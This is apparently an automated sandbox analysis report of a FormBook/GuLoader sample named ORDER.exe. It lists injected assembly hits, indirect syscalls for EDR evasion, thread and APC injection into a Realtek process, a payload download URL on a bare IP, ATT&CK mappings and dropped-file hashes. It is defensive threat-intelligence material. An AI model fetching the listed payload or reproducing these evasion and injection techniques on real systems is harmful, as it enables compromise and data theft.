Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AD4A0 mov eax, dword ptr fs:[00000030h]	3_2_324AD4A0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324544A8 mov eax, dword ptr fs:[00000030h]	3_2_324544A8
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B84BB mov eax, dword ptr fs:[00000030h]	3_2_324B84BB
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245E4BC mov eax, dword ptr fs:[00000030h]	3_2_3245E4BC
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243E547 mov eax, dword ptr fs:[00000030h]	3_2_3243E547
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32456540 mov eax, dword ptr fs:[00000030h]	3_2_32456540
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32458540 mov eax, dword ptr fs:[00000030h]	3_2_32458540
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242254C mov eax, dword ptr fs:[00000030h]	3_2_3242254C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324FB55F mov eax, dword ptr fs:[00000030h]	3_2_324FB55F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324FB55F mov eax, dword ptr fs:[00000030h]	3_2_324FB55F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EA553 mov eax, dword ptr fs:[00000030h]	3_2_324EA553
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243C560 mov eax, dword ptr fs:[00000030h]	3_2_3243C560
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32422500 mov eax, dword ptr fs:[00000030h]	3_2_32422500
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B502 mov eax, dword ptr fs:[00000030h]	3_2_3241B502
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245C50D mov eax, dword ptr fs:[00000030h]	3_2_3245C50D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245C50D mov eax, dword ptr fs:[00000030h]	3_2_3245C50D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32441514 mov eax, dword ptr fs:[00000030h]	3_2_32441514
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32441514 mov eax, dword ptr fs:[00000030h]	3_2_32441514
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32441514 mov eax, dword ptr fs:[00000030h]	3_2_32441514
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32441514 mov eax, dword ptr fs:[00000030h]	3_2_32441514
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32441514 mov eax, dword ptr fs:[00000030h]	3_2_32441514
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32441514 mov eax, dword ptr fs:[00000030h]	3_2_32441514
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov ecx, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov ecx, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CF51B mov eax, dword ptr fs:[00000030h]	3_2_324CF51B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AC51D mov eax, dword ptr fs:[00000030h]	3_2_324AC51D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32451527 mov eax, dword ptr fs:[00000030h]	3_2_32451527
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245F523 mov eax, dword ptr fs:[00000030h]	3_2_3245F523
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243252B mov eax, dword ptr fs:[00000030h]	3_2_3243252B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243252B mov eax, dword ptr fs:[00000030h]	3_2_3243252B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243252B mov eax, dword ptr fs:[00000030h]	3_2_3243252B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243252B mov eax, dword ptr fs:[00000030h]	3_2_3243252B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243252B mov eax, dword ptr fs:[00000030h]	3_2_3243252B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243252B mov eax, dword ptr fs:[00000030h]	3_2_3243252B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243252B mov eax, dword ptr fs:[00000030h]	3_2_3243252B

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\ORDER.exe	NtSetContextThread: Indirect: 0x32193759	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtQueueApcThread: Indirect: 0x3218F55E	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x7FFC36082651	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtResumeThread: Indirect: 0x32133D99	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtResumeThread: Indirect: 0x321F3D99	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtSuspendThread: Indirect: 0x32133A79	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtSuspendThread: Indirect: 0x321F3A79	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtQueueApcThread: Indirect: 0x3212F55E	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtQueueApcThread: Indirect: 0x321EF55E	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtResumeThread: Indirect: 0x32193D99	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtClose: Indirect: 0x3218F5EC
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtClose: Direct from: 0x7FFC014C9E7F
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtClose: Direct from: 0x7FFC01433A8F
Source: C:\Users\user\Desktop\ORDER.exe	NtSuspendThread: Indirect: 0x32193A79	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtClose: Indirect: 0x321EF5EC
Source: C:\Users\user\Desktop\ORDER.exe	NtSetContextThread: Indirect: 0x32133759	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	NtClose: Indirect: 0x3212F5EC
Source: C:\Users\user\Desktop\ORDER.exe	NtSetContextThread: Indirect: 0x321F3759	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\ORDER.exe	Thread register set: target process: 4652	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Thread register set: target process: 4652	Jump to behavior
Source: C:\Users\user\Desktop\ORDER.exe	Thread register set: target process: 4652	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\ORDER.exe

Thread APC queued: target process: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Jump to behavior

Source: C:\Users\user\Desktop\ORDER.exe

Process created: C:\Users\user\Desktop\ORDER.exe "C:\Users\user\Desktop\ORDER.exe"

Jump to behavior

Source: RAVCpl64.exe, 00000004.00000002.37012029407.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000004.00000000.32271307069.0000000000E40000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: RAVCpl64.exe, 00000004.00000002.37012029407.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000004.00000000.32271307069.0000000000E40000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RAVCpl64.exe, 00000004.00000002.37012029407.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000004.00000000.32271307069.0000000000E40000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: RAVCpl64.exe, 00000004.00000002.37012029407.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000004.00000000.32271307069.0000000000E40000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\ORDER.exe

Code function: 0_2_00405D58 GetVersion,LdrInitializeThunk,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D58

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match

File source: 00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match

File source: 00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	312 Process Injection	11 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	312 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ORDER.exe	11%	ReversingLabs
ORDER.exe	20%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll	1%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_Error	0%	Avira URL Cloud	safe
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Avira URL Cloud	safe
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bin	0%	Avira URL Cloud	safe
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Avira URL Cloud	safe
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.binP	0%	Avira URL Cloud	safe
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error	0%	Virustotal		Browse
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Virustotal		Browse
http://107.150.19.141/	0%	Avira URL Cloud	safe
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Virustotal		Browse
http://107.150.19.141/	2%	Virustotal		Browse
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.binj	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_ErrorError	0%	Avira URL Cloud	safe
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_ErrorError	0%	Virustotal		Browse
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	0%	Virustotal		Browse
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bin8	0%	Avira URL Cloud	safe
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bint	0%	Avira URL Cloud	safe
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	ORDER.exe, 00000003.00000001.32174271412.00000000005F2000.00000020.00000001.01000000.00000008.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	ORDER.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	ORDER.exe, 00000003.00000001.32174271412.0000000000649000.00000020.00000001.01000000.00000008.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	ORDER.exe, 00000003.00000001.32174271412.0000000000649000.00000020.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	ORDER.exe, 00000003.00000001.32174271412.00000000005F2000.00000020.00000001.01000000.00000008.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.binP	ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.150.19.141/	ORDER.exe, 00000003.00000002.32870989524.0000000002310000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32255056072.0000000002321000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516640693.0000000002321000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.0000000002310000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32254813697.000000000231F000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000002.32870989524.0000000002321000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.binj	ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	ORDER.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	ORDER.exe, 00000003.00000001.32174271412.0000000000626000.00000020.00000001.01000000.00000008.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.gopher.ftp://ftp.	ORDER.exe, 00000003.00000001.32174271412.0000000000649000.00000020.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bin8	ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bint	ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
107.150.19.141	unknown	United States		8100	ASN-QUADRANET-GLOBALUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1509918
Start date and time:	2024-09-12 10:13:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ORDER.exe
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@3/14@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 61 Number of non-executed functions: 273
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): login.live.com, ctldl.windowsupdate.com, clients.config.office.net
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	jMMTZcFBa8.elf	Get hash	malicious	Mirai, Okiru	Browse	155.94.232.241
	S5RSIJ1pA1.exe	Get hash	malicious	RedLine	Browse	194.49.68.19
	GLP3VibiyA.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	64.188.9.175
	fYHJsEQSv0.exe	Get hash	malicious	Remcos	Browse	162.218.211.203
	XQmV6MKs53.exe	Get hash	malicious	Remcos	Browse	162.218.211.203
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.4528.19655.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.124.137
	Bill of Lading.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.124.137
	SecuriteInfo.com.Linux.Siggen.9999.8352.26322.elf	Get hash	malicious	Mirai	Browse	172.93.183.162
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	104.129.59.5
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	104.129.59.5

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll	ulACwpUCSU.exe	Get hash	malicious	FormBook, GuLoader	Browse
	fJuwM4Bwi7.exe	Get hash	malicious	FormBook, GuLoader	Browse
	ulACwpUCSU.exe	Get hash	malicious	GuLoader	Browse
	fJuwM4Bwi7.exe	Get hash	malicious	GuLoader	Browse
	Factura 02297-23042024.exe	Get hash	malicious	FormBook, GuLoader	Browse
	anebilledes.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Factura 02297-23042024.exe	Get hash	malicious	GuLoader	Browse
	anebilledes.exe	Get hash	malicious	GuLoader	Browse
	Purchase Order1613400027654123.pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Igor.Sib

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	TTComp archive data, binary, 1K dictionary
Category:	dropped
Size (bytes):	423918
Entropy (8bit):	7.056310992282221
Encrypted:	false
SSDEEP:	6144:LR/oEr7eSvNoL2p1W6HbPaQhjyywLs2pIvDwKRQtv6ZHHbcdp7gE2bA:LbeSvNoCpcdOh7Yuxk
MD5:	FCBEE77EDA0CE7EB77135B3D6F72B73A
SHA1:	7864B4676126C1EFEB6EE69A554D23238737F09D
SHA-256:	1A548CF97C4C367B8EB2AB64799639D5BA8132177EC1A52760E4A44DEB4BD8A3
SHA-512:	E0BA8ABD6CEBA77803FD589A03475A1739D9873B469E7B83640CD492A9FA3FDB2B319C94EED0A252B85FE72F124EB8322F03A7C5C311CC854CC399C81634B6B3
Malicious:	false
Reputation:	low
Preview:	......................V...S......4..............................y...u........U............`......BBBB................\.v..............g......LLL.............HH.......................:::................F...................44.RR.....................................(((......!......HH........................;...................MM../..................RRR.........*............%............'............................#................O.....}}}.....Q...ZZZZ................ .WW.................[.....................A...GG.................mm.;;........DDD....S.....U..ccc...ZZZZ...............^..W.4...........`......U.....~......q....KKK...]]]]].....>>>.\\\...Y...oo.B.............vvv.....%%%...&.l...........`...B.....p...'...e...h......^...........====...].............#....II.x.................O...xxxxxx.........#......}}.zz..f..nn..99.Z..................a.......1..................................................a......i............77..D...........UU.rr....^....................u.....##.......

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Praksissernes.kra

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	data
Category:	dropped
Size (bytes):	70089
Entropy (8bit):	1.2513184695627344
Encrypted:	false
SSDEEP:	384:lvTTNGT9BZiwMEYhyzAd97w8/LgInf+mLOcPI5fVOv5NxF1FOn4Y0ZNvh5OHgG:lTNWFTMEYYE72InTCuKQ7FOnQv/OAG
MD5:	D8E80CDEDAE3E054BA1D69902A2CA6D4
SHA1:	B53C03824D1EDE6681868FF46E00E42D5E7A046F
SHA-256:	F5C68DAB62BFF1B4F551D1128A5A7ABD4C4B337C1CDA41F3397C22E8E10F019C
SHA-512:	D1830FA22A6E13BF580D118B14F602520909886DE720B38BA592F427D0553735E981CFA05A2366DAEF86735B6F83C2BD217AF44B12E5826B74C78E25E9F62295
Malicious:	false
Reputation:	low
Preview:	......p.................n...X....................d..........................*............................................................................M............[...........~...............................d....39...................................................................................................................................................................................................................................}.............X........................................................................................q...............................................^.................O....................................................................................Z...........................'................................................................4.........................................................o...[............................................m...............0......................X....0.........................................................

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Ufornuft.Dem

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	data
Category:	dropped
Size (bytes):	34386
Entropy (8bit):	4.593516032021315
Encrypted:	false
SSDEEP:	384:/R0lmqYIbLPEEeT7gXtZ40w83qZ1U++424QHulBg1/5Ji+gKC9LeyoWZzP:8tY6e4Xs0i/Izj5Ji+gKC9a2V
MD5:	55E2980D6158B9CC092CECE482A70C13
SHA1:	6368C8BEF4088CE4F56C6C3802B1D335F6DA51E2
SHA-256:	3311A4FA71C9FF2F3054E279640CF4C5B5A44F9993036456EDDA5649897CB410
SHA-512:	8202336DD1F2D37FB762E27E1DF8D06E66301424586B2A3DEA5AC9E7E143839F3BA138EED39FAA0EFDF0C2210EA9151FAF27BF94352419449AA5DCD1D9193048
Malicious:	false
Reputation:	low
Preview:	..o....ff.""............bb........4...............00000.............GG........\......////.....L.QQQQ.......p......ll.....oo.......W..............@@.............x......%..........&&......N...xx.....A.J.....55.$.WW...000........Q............z....MM....111.99.......#..........H...................TTTTT........88888888..P..................>.......yy...........b.....;...........##....22..++............222......nn.aa......vv...........kkkk..............................................W......p......................................:.....qq.l.!.................SSS..........CCC...........U..........................ZZZ.WWWW....{{..............ii..H.((((...................1.............dd.....................-.........aaa.[[.D.....{......r..j...........3..........f..........444.....J...............uuuuu........P..a......WW.........rr.................N..]..........QQ................v..........~..............BBBB.hh..:.....HH...[[............66.........d.........!!..................... .77.........

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\dev.med

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	FoxPro FPT, blocks size 88, next free block index 170, field type 0
Category:	dropped
Size (bytes):	316850
Entropy (8bit):	1.2494344843876144
Encrypted:	false
SSDEEP:	768:UI1y6B1e+17bZEPl0Rnof0brVBSd/oyoTbFlbQ/BZ97yVOTLjv13Y5vx70El7oAN:ra0Xi31pavVKOa4fVlj
MD5:	5D01D49C1498EC6723D7F194D210DDEB
SHA1:	283514D6E17F8552A70B4B0DFB419D77FA0AE033
SHA-256:	6D1337BE2B7C1C17CA7BE7B75518902C618F904923FE3FFBDF4F519DB6BB2BB8
SHA-512:	286727E8962A8339E4527BFAE8B5879FF2A319C6DA090EB8130FBBB94C0C51AA0931CBCDCFC8D0B63D1DC3F30271AC193FE78C809D3F6A8B0648EB2228FEAF4D
Malicious:	false
Reputation:	low
Preview:	.......X.........................J....q..................o....................................................n..............................{....5.p..V.........GV.........c........$..................................R...e.....E....................3..u...................%.....................+.......T.............z......................................`..............v....................................0................Y............................................................................................................................................................................W.........................D..................c.......................$...............N................f............... ...........R........ ....................y..............g......................P...............................................................................V.......t..............J.se...L.........................................\.........,.w.......................................D..

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\hverdagsagtiges.afh

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	data
Category:	dropped
Size (bytes):	291479
Entropy (8bit):	1.2623895916251218
Encrypted:	false
SSDEEP:	768:I4aF3mt3WBkVYqYZkjVzW72s6Y1rHtslWyNS652rpnfdK4xlkidjdUgxuZHUKiji:+8WZqVPshpX7P/77Lm7X7
MD5:	2DAE10B8A993D301D5B30447CD554D49
SHA1:	C0E795B9EBEA6ABAE51A0A56B377BDCE7A52CCF2
SHA-256:	991EFFB618E7714390252B543789A0B6FE9E2650BD0F5049164DA51717031F51
SHA-512:	738EE8FC2733644DD773F975075895D5D32AE2F5220A885F07F50873EA2D8FBD2E4DD9400647DF0A11E26B1489CE7391D692874D5E998E1979005D80A2790683
Malicious:	false
Preview:	..................Y......................H...............Z..B............................!...................b..D........................................n...........{..........................9...............................................u..........................................................................................I.........T...............U.............&..............R.....................................................................................y..................F.....Z.....&................................................B.......L.............%...U.......;..........................I..................................._.......D....t........g.....................#.................n..a......................................M......i.....................Z..............................................{..................................................................................#....h.....U.............?.G..............L...........................................

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\stenhuggeriernes.txt

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	527
Entropy (8bit):	4.275388286900901
Encrypted:	false
SSDEEP:	12:sfiS0lw/iN/QGXqpBqt1J5WgR+FofZRVoENhEWJv:sfi3G/iRuLqzGe+FGoENhEqv
MD5:	E22011A429D7D0729AA1A0B9CADAC17A
SHA1:	793AE0FACF787AD29AA11A91EBFA079616EC1F10
SHA-256:	5B857AAE7EEA7961E5571C1E7FA394E6B98C833E74E106C960BBD4D0564AC87B
SHA-512:	32E762E9309D70F33F6B0537D55629C437D380EF2C5849A1187F4219D53075E0D6C3DF93DF500EA3F3CB5E07E0CBA85165002671362AF5500DD569C3CEB417CE
